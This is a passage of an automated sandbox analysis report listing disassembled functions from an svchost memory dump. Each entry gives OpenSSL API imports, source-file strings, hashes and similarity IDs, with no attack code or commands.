ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42AB9B

Strings

SSL_set_fd, xrefs: 00007FFBAB42AB16, 00007FFBAB42AB78
ssl\ssl_lib.c, xrefs: 00007FFBAB42AB22, 00007FFBAB42AB84

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$O_new
String ID: SSL_set_fd$ssl\ssl_lib.c
API String ID: 1854182563-2027645073
Opcode ID: f9c72873d159070fe3c3de754aa628ec22fe2a5cd73b99806cc2c20f871fd2a2
Instruction ID: d929f633504f518d70d410023855031cdb5885f6419eea4da040c73084a91e5b
Opcode Fuzzy Hash: f9c72873d159070fe3c3de754aa628ec22fe2a5cd73b99806cc2c20f871fd2a2
Instruction Fuzzy Hash: FE21C5B1F1E55282E762EB76E4825BD2351DF44784F449031EE2D43BBADE2DE889CB01

Function 00007FFBAB4942F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB416310: BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB416352
Part of subcall function 00007FFBAB416310: ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41635E
Part of subcall function 00007FFBAB416310: ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB416376

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49431C
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49432D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB494345

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

EVP_MD_CTX_copy_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB494371
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49437A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB494392
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4943B3

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB49433E, 00007FFBAB49438B
tls13_save_handshake_digest_for_pha, xrefs: 00007FFBAB494332, 00007FFBAB49437F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_ctrlR_vset_errorX_copy_exX_freeX_new
String ID: ssl\statem\statem_lib.c$tls13_save_handshake_digest_for_pha
API String ID: 2639689059-3177854109
Opcode ID: a36fa249412389ced1db71282d3d9998b7980c6ed1b9b2bfdc3ff92e1ae8450d
Instruction ID: fa8f730e3b5768351ebf3d9d910f671a61f2204e64223d6349f4a0722a4ac618
Opcode Fuzzy Hash: a36fa249412389ced1db71282d3d9998b7980c6ed1b9b2bfdc3ff92e1ae8450d
Instruction Fuzzy Hash: CA1151A1F1A64281F763E772D8927FD2350AF54784F488831DE2C476B2EF2CE5898351

Function 00007FFBAB436AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

BIO_s_file.LIBCRYPTO-3-X64 ref: 00007FFBAB436AEE
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFBAB436AF6
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB436B03
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB436B19
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB436B29
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB436B4D
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB436B62

Strings

ssl\ssl_txt.c, xrefs: 00007FFBAB436B12
SSL_SESSION_print_fp, xrefs: 00007FFBAB436B08

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_ctrlO_freeO_newO_s_fileR_newR_set_debugR_set_error
String ID: SSL_SESSION_print_fp$ssl\ssl_txt.c
API String ID: 1031916422-4183950648
Opcode ID: f860aa753991a1079c50b203189b50f807c7aae2dd5aeb95d03b4119546f1b9c
Instruction ID: 8a5841fcabefb2f249990e72317b64192557a8db0d285ae54d000de7e7f508fb
Opcode Fuzzy Hash: f860aa753991a1079c50b203189b50f807c7aae2dd5aeb95d03b4119546f1b9c
Instruction Fuzzy Hash: 4401C8A1B1A65281FA62E776E9825BD6351EF44BC0F448431FE2D43BA7DE2CE4458B00

Function 00007FFBAB416EF0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

BIO_s_mem.LIBCRYPTO-3-X64 ref: 00007FFBAB416F06
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416F0E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416F1B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB416F33

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

BIO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB416F60
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB416F77
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB416F9C

Strings

ssl3_init_finished_mac, xrefs: 00007FFBAB416F20
ssl\s3_enc.c, xrefs: 00007FFBAB416F2C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_ctrlO_freeO_newO_s_memR_newR_set_debugR_vset_errorX_free
String ID: ssl3_init_finished_mac$ssl\s3_enc.c
API String ID: 3393778312-3380058700
Opcode ID: e18d4a600228203b23fd97f651458957ec24ff9a58d4f8612b7ba9ed4eeb9e06
Instruction ID: db2acc2b46e5f0cc354973423e5ef06442fafc9709eb16ea8d75f0eaf0755eac
Opcode Fuzzy Hash: e18d4a600228203b23fd97f651458957ec24ff9a58d4f8612b7ba9ed4eeb9e06
Instruction Fuzzy Hash: 86115672B4974241EB62EB71F9927FE2350EB48B84F448531DE2C477A6DE3DE4488711

Function 00007FFBAB466C35 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 40COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466C3F
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466C5E
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466C8B
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Max Streams: %llu, xrefs: 00007FFBAB466C81
Max streams , xrefs: 00007FFBAB466C35
(Bidi), xrefs: 00007FFBAB466C50
(Uni), xrefs: 00007FFBAB466C49

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: <unexpected trailing frame data skipped>$ Max Streams: %llu$ (Bidi)$ (Uni)$Max streams
API String ID: 4098839300-73837845
Opcode ID: dc43fb59d32bbb45ff72d1986f3e6e7f1fb858d7f61a5e62696225e2d27b3cf4
Instruction ID: 8dedf0b842c4e7d9c74eab1bba6be20e453044816ed04979412ea55e09157bb2
Opcode Fuzzy Hash: dc43fb59d32bbb45ff72d1986f3e6e7f1fb858d7f61a5e62696225e2d27b3cf4
Instruction Fuzzy Hash: DF011BE2E0A64294FE26DB75E8512FD27A1AF44794F449036DE2E476A5DE7CE0868200

Function 00007FFBAB41C3E0 Relevance: 15.1, APIs: 10, Instructions: 99COMMON

Download Yara Rule

APIs

X509_get_subject_name.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C4AC
X509_NAME_dup.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C4B9
OPENSSL_sk_find.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C4CC
X509_NAME_free.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C4D8
OPENSSL_sk_push.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C4E5
OSSL_STORE_INFO_free.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C4F1
OSSL_STORE_eof.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C4F9
ERR_clear_error.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C506
X509_NAME_free.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C510
OSSL_STORE_close.LIBCRYPTO-3-X64(?,?,00000001,00007FFBAB41BDFE), ref: 00007FFBAB41C51B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: X509_$E_free$E_closeE_dupE_eofL_sk_findL_sk_pushO_freeR_clear_errorX509_get_subject_name
String ID:
API String ID: 2042042120-0
Opcode ID: 720656e64d7e1fdc1c214f3e6499e0f174ef5a63f77c434a52f6c6fa4d383162
Instruction ID: 1e2b01a12cc1e6d491ba7d3d1db109dfb2fa5fe0ad5d207d75da21e8d2c827e0
Opcode Fuzzy Hash: 720656e64d7e1fdc1c214f3e6499e0f174ef5a63f77c434a52f6c6fa4d383162
Instruction Fuzzy Hash: D0313C90F4F26341FD76A632E99237D12805F85BC4F488435ED2E9BBA7EE2CE4854205

Function 00007FFBAB426950 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB46612C,?,00007FFBAB44F4D2,?,00007FFBAB450F40), ref: 00007FFBAB42699C
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB46612C,?,00007FFBAB44F4D2,?,00007FFBAB450F40), ref: 00007FFBAB4269B4
ERR_set_error.LIBCRYPTO-3-X64(?,00007FFBAB46612C,?,00007FFBAB44F4D2,?,00007FFBAB450F40), ref: 00007FFBAB4269C4
ASYNC_get_current_job.LIBCRYPTO-3-X64 ref: 00007FFBAB426A1B

Strings

expect_quic, xrefs: 00007FFBAB454EFA
ssl\quic\quic_impl.c, xrefs: 00007FFBAB454F06
SSL_do_handshake, xrefs: 00007FFBAB4269A1
ssl\ssl_lib.c, xrefs: 00007FFBAB4269AD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: C_get_current_jobR_newR_set_debugR_set_error
String ID: SSL_do_handshake$expect_quic$ssl\quic\quic_impl.c$ssl\ssl_lib.c
API String ID: 2134390360-1983154402
Opcode ID: 65262653f3e098f495c12320a0e5f1a27c419ec530ea063dc5ceeadd3c499906
Instruction ID: e616283cab5c640c21ebc0701c7bf1fa70c015d0b5e3775dd54a541d84849147
Opcode Fuzzy Hash: 65262653f3e098f495c12320a0e5f1a27c419ec530ea063dc5ceeadd3c499906
Instruction Fuzzy Hash: 93618172E0AB4182FB129B35E44126E7761FB89B84F148235EE6D477A9DF3CE590CB40

Function 00007FFBAB472490 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB478CA0: CRYPTO_zalloc.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB472579), ref: 00007FFBAB478CD4

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4725FF
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB472617
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB472628
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4726EA
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB472702
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB472713

Strings

dtls_new_record_layer, xrefs: 00007FFBAB472604, 00007FFBAB4726EF
ssl\record\methods\dtls_meth.c, xrefs: 00007FFBAB472610, 00007FFBAB4726FB

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$O_zalloc
String ID: dtls_new_record_layer$ssl\record\methods\dtls_meth.c
API String ID: 1179349375-3471712714
Opcode ID: 6db6121e2491ace65a8629b3873d2ff3ea484f636a9cac0f3fe2f1af3cbcabf9
Instruction ID: a557e81fae0cb0cfddfbdd2c4828d77e271b9d5d6e91d51f71fe087253a64c61
Opcode Fuzzy Hash: 6db6121e2491ace65a8629b3873d2ff3ea484f636a9cac0f3fe2f1af3cbcabf9
Instruction Fuzzy Hash: 9A610676609B8586D761DB25E4843AE73A4F789B94F108136EEDC43BA9CF3CD485CB00

Function 00007FFBAB4429A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4429EB
EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB442A20
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB442A46
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB442A63
EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB442A79
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB442A93

Part of subcall function 00007FFBAB443520: EVP_MD_get0_name.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435A0
Part of subcall function 00007FFBAB443520: EVP_KDF_free.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435B8
Part of subcall function 00007FFBAB443520: ERR_new.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435D4
Part of subcall function 00007FFBAB443520: ERR_set_debug.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435EC
Part of subcall function 00007FFBAB443520: ERR_set_error.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435FD
Part of subcall function 00007FFBAB443520: EVP_KDF_CTX_free.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB443605

Part of subcall function 00007FFBAB443520: EVP_KDF_CTX_free.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB443641
Part of subcall function 00007FFBAB443520: ERR_new.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB44364F
Part of subcall function 00007FFBAB443520: ERR_set_debug.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB443667
Part of subcall function 00007FFBAB443520: ERR_set_error.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB443678
Part of subcall function 00007FFBAB443520: OSSL_PARAM_construct_octet_string.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB44372C
Part of subcall function 00007FFBAB443520: OSSL_PARAM_construct_octet_string.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB44375E
Part of subcall function 00007FFBAB443520: OSSL_PARAM_construct_octet_string.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB443797
Part of subcall function 00007FFBAB443520: OSSL_PARAM_construct_end.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4437BE

EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB442B68

Strings

exporter, xrefs: 00007FFBAB442B45

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Digest$M_construct_octet_stringX_free$Final_exInit_exR_newR_set_debugR_set_error$D_get0_nameF_freeM_construct_endUpdateX_new
String ID: exporter
API String ID: 4114161048-111224270
Opcode ID: d3a93953a9a2b8158966f39835a97e10052aea8e4a0e1c0a4b36522bad2b9ee7
Instruction ID: b5816f4ef1cdf9f5a400e30dd6f1cd2548c68d1153ba2c38e96c60ac58099d07
Opcode Fuzzy Hash: d3a93953a9a2b8158966f39835a97e10052aea8e4a0e1c0a4b36522bad2b9ee7
Instruction Fuzzy Hash: 32416776619BC285EA65DF26E5502EAB3A4FB8DBC4F008035EE9C47B65EF3CD5148B00

Function 00007FFBAB416102 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

EVP_MD_get_size.LIBCRYPTO-3-X64 ref: 00007FFBAB416176
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4161FC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41620A

Part of subcall function 00007FFBAB4719B0: ERR_new.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFBAB47009E,?,00000000,000004A0), ref: 00007FFBAB471B14
Part of subcall function 00007FFBAB4719B0: ERR_set_debug.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFBAB47009E,?,00000000,000004A0), ref: 00007FFBAB471B2C
Part of subcall function 00007FFBAB4719B0: ERR_set_error.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFBAB47009E,?,00000000,000004A0), ref: 00007FFBAB471B3D

Strings

u, xrefs: 00007FFBAB41617F
ssl3_change_cipher_state, xrefs: 00007FFBAB4161F3
ssl\s3_enc.c, xrefs: 00007FFBAB4161E7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$D_get_sizeR_set_error
String ID: ssl3_change_cipher_state$ssl\s3_enc.c$u
API String ID: 1223758721-1779087871
Opcode ID: 70e912de66dbf58922ecb734d36fe2215cb4350b4c20fc56dcf644421a8ca58e
Instruction ID: b29a6b3eaa25922f6a4d2e5d375a63eee91f3b60704f95d16cda7ed19191dcf0
Opcode Fuzzy Hash: 70e912de66dbf58922ecb734d36fe2215cb4350b4c20fc56dcf644421a8ca58e
Instruction Fuzzy Hash: E341C1B2A0AA4181E621DB26F8456BE73A8FB88B80F548136DF9D43B65DF3CD546C700

Function 00007FFBAB4948B0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49499D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4949B5
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB494A2F
memcpy.VCRUNTIME140 ref: 00007FFBAB494A5C
memcpy.VCRUNTIME140 ref: 00007FFBAB494A79

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB4949AE
CLIENT_RANDOM, xrefs: 00007FFBAB494A0E
tls_construct_finished, xrefs: 00007FFBAB4949A2, 00007FFBAB494A34

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newmemcpy$R_set_debug
String ID: CLIENT_RANDOM$ssl\statem\statem_lib.c$tls_construct_finished
API String ID: 3909032045-44254327
Opcode ID: 2ba7dd0ee7205c1b6e8c25e3da90c80019bc56a77d4ef2b527cd34628bd4a920
Instruction ID: 4300048703de16188455eeea0c4e5333ce89a90844741af02faf0ad66d44ce3d
Opcode Fuzzy Hash: 2ba7dd0ee7205c1b6e8c25e3da90c80019bc56a77d4ef2b527cd34628bd4a920
Instruction Fuzzy Hash: 205197B2A0A68281EBA2DF35D4D47FD23A4EB44B88F148036DE5D476A5DF39E485C390

Function 00007FFBAB47E270 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47E2B3
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47E2CB

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47E2C4, 00007FFBAB47E3E4
tls_construct_ctos_padding, xrefs: 00007FFBAB47E2B8, 00007FFBAB47E3D8

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\extensions_clnt.c$tls_construct_ctos_padding
API String ID: 193678381-1618130649
Opcode ID: 1f5e9d3c769b1e08d8cfc1214b8d5ceef8da802e931fc7541ffb154937d8c312
Instruction ID: 4848ce13f9673bea15275c4c37c57ed4dd24a7024e5aff55b4ce48401f261e8d
Opcode Fuzzy Hash: 1f5e9d3c769b1e08d8cfc1214b8d5ceef8da802e931fc7541ffb154937d8c312
Instruction Fuzzy Hash: 3141A1A2B0A64282EB529736E4813BD63A4EF85B94F188531DF6C477E6DE2DD581C700

Function 00007FFBAB490C20 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

BUF_MEM_grow_clean.LIBCRYPTO-3-X64(?,00007FFBAB491816,?,?,?,?,?,00007FFBAB491D76,00000000,?,?,?,?,?,00000000,00007FFBAB491AED), ref: 00007FFBAB490C90
